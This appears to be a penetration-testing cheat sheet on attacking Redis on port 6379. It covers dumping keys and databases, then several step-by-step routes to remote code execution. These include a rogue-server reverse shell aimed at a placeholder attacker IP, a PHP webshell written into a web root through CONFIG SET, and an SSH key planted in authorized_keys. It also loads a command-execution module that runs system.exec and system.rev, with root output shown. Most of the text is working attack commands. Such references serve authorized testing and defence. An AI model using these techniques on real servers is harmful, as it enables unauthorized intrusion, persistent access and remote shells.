Port 6379 (REDIS)
Dumping Database
Inside Redis the databases are numbers starting from 0. You can find if anyone is used in the output of the command info
inside the "Keyspace" chunk:

Or you can just get all the keyspaces (databases) with:
INFO keyspace
In that example the database 0 and 1 are being used. Database 0 contains 4 keys and database 1 contains 1. By default Redis will use database 0. In order to dump for example database 1 you need to do:
SELECT 1 [ ... Indicate the database ... ]
KEYS * [ ... Get Keys ... ]
GET <KEY> [ ... Get Key ... ]
In case you get the following error -WRONGTYPE Operation against a key holding the wrong kind of value
while running GET <KEY>
it's because the key may be something else than a string or an integer and requires a special operator to display it.
To know the type of the key, use the TYPE
command, example below for list and hash keys.
TYPE <KEY> [ ... Type of the Key ... ]
LRANGE <KEY> 0 -1 [ ... Get list items ... ]
HGET <KEY> <FIELD> [ ... Get hash item ... ] # If the type used is weird you can always do: DUMP <key>`
Dump the database with npm redis-dump or python redis-utils
Redis RCE
Interactive Shell
redis-rogue-server can automatically get an interactive shell or a reverse shell in Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
After you did the command info, you must know the path of the Web site folder:
root@kali:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
SSH
Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsa
Write the public key to a file:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
Import the file into redis:
**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
Save the public key to the authorized_keys file on redis server:
root@kali:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
**Finally, you can ssh to the redis server with private key:
ssh -i id_rsa redis@10.85.0.52
This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit
Load Redis Module
Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
Then you need some way to upload the compiled module (for example ftp)

Load the uploaded module at runtime
MODULE LOAD /path/to/mymodule.so

List loaded modules to check it was correctly loaded:
MODULE LIST
Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)"
127.0.0.1:6379> system.exec "whoami"
"root"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want:
MODULE UNLOAD mymodule
Last updated